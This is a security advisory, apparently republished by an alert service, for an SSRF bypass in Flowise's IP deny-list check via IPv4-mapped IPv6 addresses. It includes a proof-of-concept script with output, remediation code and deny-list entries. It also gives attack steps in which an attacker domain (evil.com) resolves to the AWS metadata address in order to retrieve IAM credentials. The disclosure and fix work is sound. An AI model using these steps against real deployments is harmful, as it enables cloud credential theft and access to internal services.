CVE-2026-69257: Flowise: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses

Published Aug 4, 2026
·
Updated

Summary

Flowise's HTTP security module (httpSecurity.ts) fails to normalize IPv4-mapped IPv6 addresses (e.g., ::ffff:127.0.0.1, ::ffff:169.254.169.254) before checking them against the deny list. Due to an ipaddr.js kind mismatch (ipv6 vs ipv4), all IPv4 CIDR deny rules are silently skipped for IPv4-mapped IPv6 addresses. An attacker who controls DNS resolution for a hostname can set a AAAA record to ::ffff:<targetipv4>, completely bypassing all SSRF protections and accessing internal services, cloud metadata endpoints, and localhost.

CWE

- CWE-918: Server-Side Request Forgery (SSRF) - CWE-1389: Incorrect Parsing of Numbers with Different Radices (IPv4-mapped IPv6 not normalized to IPv4 before deny list check)

Affected Versions

- All versions up to and including v3.1.1 (latest main branch as of 2026-04-03) - This includes versions where CVE-2026-31829 was supposedly patched (v3.0.13+)

Details

Root Cause

The isDeniedIP() function in packages/components/src/httpSecurity.ts checks IP addresses against a deny list using ipaddr.js. The critical flaw is in the kind() comparison:

typescript // httpSecurity.ts - isDeniedIP() export function isDeniedIP(ip: string, denyList: string[]): void { const parsedIp = ipaddr.parse(ip); for (const entry of denyList) { if (entry.includes('/')) { try { const [range, ] = entry.split('/') const parsedRange = ipaddr.parse(range) // ⚠️ BUG: IPv4-mapped IPv6 has kind='ipv6', IPv4 CIDR has kind='ipv4' // This condition is FALSE for ::ffff:x.x.x.x vs any IPv4 CIDR entry if (parsedIp.kind() === parsedRange.kind()) { // <-- BYPASS HERE if (parsedIp.match(ipaddr.parseCIDR(entry))) { throw new Error('Access to this host is denied by policy.') } } } catch (error) { throw new Error(isDeniedIP: ${error}) } } else if (ip === entry) { throw new Error('Access to this host is denied by policy.') } } }

When the resolved IP is an IPv4-mapped IPv6 address like ::ffff:169.254.169.254: - ipaddr.parse('::ffff:169.254.169.254').kind() returns 'ipv6' - ipaddr.parse('169.254.169.254').kind() (from deny list entry) returns 'ipv4' - 'ipv6' === 'ipv4' is false → CIDR check is completely skipped

The IPv6 deny list entries (::1, fc00::/7, fe80::/10, ff00::/8) do NOT cover the ::ffff:0:0/96 range where IPv4-mapped addresses live, so these addresses bypass ALL deny rules.

Attack Vector

1. Attacker registers a domain (e.g., evil.attacker.com) and sets a AAAA DNS record to ::ffff:169.254.169.254 (AWS metadata) or ::ffff:10.0.0.1 (internal service) 2. Attacker configures a chatflow HTTP Node (or API Chain, Document Loader, etc.) to make a request to http://evil.attacker.com/latest/meta-data/ 3. resolveAndValidate() calls dns.lookup('evil.attacker.com', { all: true }) which returns [{ address: '::ffff:169.254.169.254', family: 6 }] 4. isDeniedIP('::ffff:169.254.169.254', denyList) is called — all IPv4 CIDR entries are skipped due to kind mismatch 5. Request is sent to 169.254.169.254 (AWS metadata service) via the IPv4-mapped IPv6 address

Affected Endpoints

All code paths using the SSRF protection functions are vulnerable:

| Function | Usage Count | Affected Components | |----------|:-----------:|-------------------| | secureAxiosRequest() | 8+ | HTTP Node (Agentflow), ExecuteFlow, APILoader, FireCrawl, Spider, AzureRerank | | secureFetch() | 5+ | ApiChain, Custom Function sandbox, Jira tool, MCP tool | | checkDenyList() | 3+ | MCP Server URL validation, fetch-links service, web scraping |

Proof of Concept

javascript // Verify the bypass using ipaddr.js (same library Flowise uses) const ipaddr = require('ipaddr.js');

const denyList = [ '169.254.169.254/16', // Cloud metadata (covered by 169.254.0.0/16 in Flowise) '10.0.0.0/8', // RFC1918 (covered by 10.0.0.0/8 in Flowise) '127.0.0.0/8', // Loopback (covered by 127.0.0.0/8 in Flowise) '172.16.0.0/12', // RFC1918 (covered by 172.16.0.0/12 in Flowise) '192.168.0.0/16', // RFC1918 (covered by 192.168.0.0/16 in Flowise) ];

// Normal IPv4 - correctly blocked const normalIP = ipaddr.parse('169.254.169.254'); console.log('169.254.169.254 kind:', normalIP.kind()); // 'ipv4'

// IPv4-mapped IPv6 - bypasses ALL checks const mappedIP = ipaddr.parse('::ffff:169.254.169.254'); console.log('::ffff:169.254.169.254 kind:', mappedIP.kind()); // 'ipv6' console.log('Is IPv4Mapped?:', mappedIP.isIPv4MappedAddress()); // true console.log('Maps to:', mappedIP.toIPv4Address().toString()); // '169.254.169.254'

// Demonstrate the bypass for (const entry of denyList) { const [range] = entry.split('/'); const parsedRange = ipaddr.parse(range); const kindMatch = mappedIP.kind() === parsedRange.kind(); console.log(${entry}: kind match = ${kindMatch}); // ALL false! } // Result: ALL deny list entries are skipped

Attack Scenario (AWS Cloud): bash 1. Attacker sets up DNS: evil.com AAAA -> ::ffff:a9fe:a9fe (169.254.169.254) 2. Attacker creates a chatflow with HTTP Node pointing to: URL: http://evil.com/latest/meta-data/iam/security-credentials/ 3. Flowise resolves evil.com -> ::ffff:169.254.169.254 4. isDeniedIP skips all IPv4 CIDR checks (kind mismatch) 5. Request reaches AWS IMDS -> Returns IAM role credentials

Verified PoC Output

The following output was produced by running the PoC script (pocssrfbypass.js) against ipaddr.js@2.2.0 (the exact version used by Flowise ^2.2.0), replicating the isDeniedIP() logic:

Step 1: kind() mismatch confirmed 169.254.169.254 kind=ipv4 isIPv4Mapped=false ::ffff:169.254.169.254 kind=ipv6 isIPv4Mapped=true → maps to: 169.254.169.254 127.0.0.1 kind=ipv4 isIPv4Mapped=false ::ffff:127.0.0.1 kind=ipv6 isIPv4Mapped=true → maps to: 127.0.0.1 10.0.0.1 kind=ipv4 isIPv4Mapped=false ::ffff:10.0.0.1 kind=ipv6 isIPv4Mapped=true → maps to: 10.0.0.1 192.168.1.1 kind=ipv4 isIPv4Mapped=false ::ffff:192.168.1.1 kind=ipv6 isIPv4Mapped=true → maps to: 192.168.1.1 172.16.0.1 kind=ipv4 isIPv4Mapped=false ::ffff:172.16.0.1 kind=ipv6 isIPv4Mapped=true → maps to: 172.16.0.1

Step 2: Normal IPv4 — correctly blocked ✅ 169.254.169.254 → 🔒 BLOCKED (matched: 169.254.169.254) 127.0.0.1 → 🔒 BLOCKED (matched: 127.0.0.0/8) 10.0.0.1 → 🔒 BLOCKED (matched: 10.0.0.0/8) 192.168.1.1 → 🔒 BLOCKED (matched: 192.168.0.0/16) 172.16.0.1 → 🔒 BLOCKED (matched: 172.16.0.0/12)

Step 3: IPv4-Mapped IPv6 — ALL bypass deny list ⚠️ ::ffff:169.254.169.254 → ⚠️ ALLOWED (BYPASS!) (real target: 169.254.169.254) ::ffff:127.0.0.1 → ⚠️ ALLOWED (BYPASS!) (real target: 127.0.0.1) ::ffff:10.0.0.1 → ⚠️ ALLOWED (BYPASS!) (real target: 10.0.0.1) ::ffff:192.168.1.1 → ⚠️ ALLOWED (BYPASS!) (real target: 192.168.1.1) ::ffff:172.16.0.1 → ⚠️ ALLOWED (BYPASS!) (real target: 172.16.0.1)

Step 4: Root cause — kind mismatch skips CIDR check Checking: ::ffff:169.254.169.254 against deny entry 169.254.0.0/16 parsedIp.kind() = 'ipv6' parsedRange.kind() = 'ipv4' kind match? = false ← CIDR check is SKIPPED! But the IP actually maps to: 169.254.169.254 (which IS in 169.254.0.0/16)

Step 5: Proposed fix — all bypass addresses now blocked ✅ ::ffff:169.254.169.254 → 🔒 BLOCKED (FIXED!) (matched: 169.254.0.0/16) ::ffff:127.0.0.1 → 🔒 BLOCKED (FIXED!) (matched: 127.0.0.0/8) ::ffff:10.0.0.1 → 🔒 BLOCKED (FIXED!) (matched: 10.0.0.0/8) ::ffff:192.168.1.1 → 🔒 BLOCKED (FIXED!) (matched: 192.168.0.0/16) ::ffff:172.16.0.1 → 🔒 BLOCKED (FIXED!) (matched: 172.16.0.0/12)

Step 6: Attack simulation Vulnerable isDeniedIP: ⚠️ ALLOWED → Request reaches AWS metadata! Fixed isDeniedIP: 🔒 BLOCKED → Attack prevented!

> Verification environment: Node.js v22.13.1, ipaddr.js@2.2.0 (matches Flowise dependency ^2.2.0) > PoC script: pocssrfbypass.js

Impact

| Target | Impact | Severity | |--------|--------|----------| | AWS/GCP/Azure Metadata (169.254.169.254) | Steal IAM credentials, service account tokens | Critical | | Internal services (10.x.x.x, 172.16.x.x, 192.168.x.x) | Access internal APIs, databases, admin panels | High | | Localhost (127.0.0.1) | Access Flowise's own API with elevated privileges, access co-located services | High |

This bypass renders the SSRF protection added in v3.0.13 (CVE-2026-31829 fix) completely ineffective against IPv4-mapped IPv6 DNS resolution.

Remediation

Option 1: Normalize IPv4-Mapped IPv6 Before Checking (Recommended)

typescript export function isDeniedIP(ip: string, denyList: string[]): void { let parsedIp = ipaddr.parse(ip); // ✅ FIX: Normalize IPv4-mapped IPv6 to IPv4 before checking if (parsedIp.kind() === 'ipv6' && parsedIp.isIPv4MappedAddress()) { parsedIp = parsedIp.toIPv4Address(); } for (const entry of denyList) { if (entry.includes('/')) { try { const [range, ] = entry.split('/'); let parsedRange = ipaddr.parse(range); // Also normalize deny list entries if (parsedRange.kind() === 'ipv6' && parsedRange.isIPv4MappedAddress()) { parsedRange = parsedRange.toIPv4Address(); } if (parsedIp.kind() === parsedRange.kind()) { if (parsedIp.match(ipaddr.parseCIDR(entry))) { throw new Error('Access to this host is denied by policy.'); } } } catch (error) { throw new Error(isDeniedIP: ${error}); } } else if (ip === entry) { throw new Error('Access to this host is denied by policy.'); } } }

Option 2: Add ::ffff:0:0/96 to Deny List (Defense-in-depth)

Additionally, add the IPv4-mapped IPv6 prefix to the deny list to block ALL mapped addresses:

typescript const DEFAULTDENYLIST = [ // ... existing entries ... '::ffff:0:0/96', // Block ALL IPv4-mapped IPv6 addresses '::ffff:127.0.0.1/128', // Explicit loopback mapped '::ffff:169.254.0.0/112', // Explicit link-local mapped '::ffff:10.0.0.0/104', // Explicit RFC1918 Class A mapped '::ffff:172.16.0.0/108', // Explicit RFC1918 Class B mapped '::ffff:192.168.0.0/112', // Explicit RFC1918 Class C mapped ];

Option 3: Also normalize in resolveAndValidate() (Belt and suspenders)

typescript async function resolveAndValidate(url: string): Promise<ResolvedTarget> { // ... existing code ... const records = await dns.lookup(hostname, { all: true }); for (const r of records) { let address = r.address; // Normalize IPv4-mapped IPv6 for deny list checking if (ipaddr.isValid(address)) { const parsed = ipaddr.parse(address); if (parsed.kind() === 'ipv6' && parsed.isIPv4MappedAddress()) { address = parsed.toIPv4Address().toString(); } } isDeniedIP(address, denyList); } // ... rest of code ... }

Other sources

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, Flowise's HTTP security module httpSecurity.ts did not normalize IPv4-mapped IPv6 addresses such as ::ffff:127.0.0.1 and ::ffff:169.254.169.254 before checking them against the deny list. Because ipaddr.js reports these addresses as ipv6 while IPv4 CIDR deny-list entries are ipv4, isDeniedIP() skipped the IPv4 CIDR checks. An attacker who controls DNS resolution for a hostname used by the HTTP Node, API Chain, Document Loader, MCP tool, or other paths using secureAxiosRequest(), secureFetch(), or checkDenyList() could return a AAAA record for an IPv4-mapped target and cause requests to reach localhost, internal services, or cloud metadata endpoints. This issue is fixed in version 3.1.3.

MITRE

Affected Software

1 affected componentFixes available
npm/flowise<=3.1.2
3.1.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/flowise to a version that resolves this vulnerability.

    Fixed in 3.1.3
  2. Upgrade

    Upgrade Flowise to a version that resolves this vulnerability.

    Fixed in 3.1.3
  3. Configuration

    Implement the recommended fix path: in isDeniedIP()/resolveAndValidate() normalize IPv4-mapped IPv6 to IPv4 before performing the deny-list CIDR checks so the kind mismatch (ipv6 vs ipv4) no longer causes the IPv4 CIDR rules to be skipped. Also normalize deny list entries so IPv4-mapped ranges like ::ffff:0:0/96 are handled consistently with IPv4 rules.

    Flowise httpSecurity.ts (isDeniedIP/deny list handling) IPv4-mapped IPv6 normalization for deny list checking = Normalize IPv4-mapped IPv6 addresses (e.g., ::ffff:127.0.0.1, ::ffff:169.254.169.254) to IPv4 before comparing against IPv4 CIDR deny-list entries
  4. Configuration

    Extend the SSRF deny list to include the IPv4-mapped IPv6 prefix ::ffff:0:0/96 so IPv4-mapped IPv6 addresses cannot bypass deny rules.

    Flowise httpSecurity.ts deny list Deny list prefix entries = Add ::ffff:0:0/96 (Block ALL IPv4-mapped IPv6 addresses)
  5. Compensating control

    As defense-in-depth, add/adjust network controls (firewall/ACL/WAF) to prevent outbound connections from the Flowise host to internal RFC1918 ranges, loopback, and cloud metadata IPs (including metadata 169.254.169.254).

Event History

Aug 4, 2026
CVE Published
via MITRE·03:51 PM
Data Sourced
via MITRE·03:51 PM
DescriptionWeakness
Advisory Published
via GitHub·03:51 PM
Data Sourced
via GitHub·03:51 PM
DescriptionWeaknessAffected Software
Data Sourced
via NVD·05:17 PM
DescriptionSeverityWeakness
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203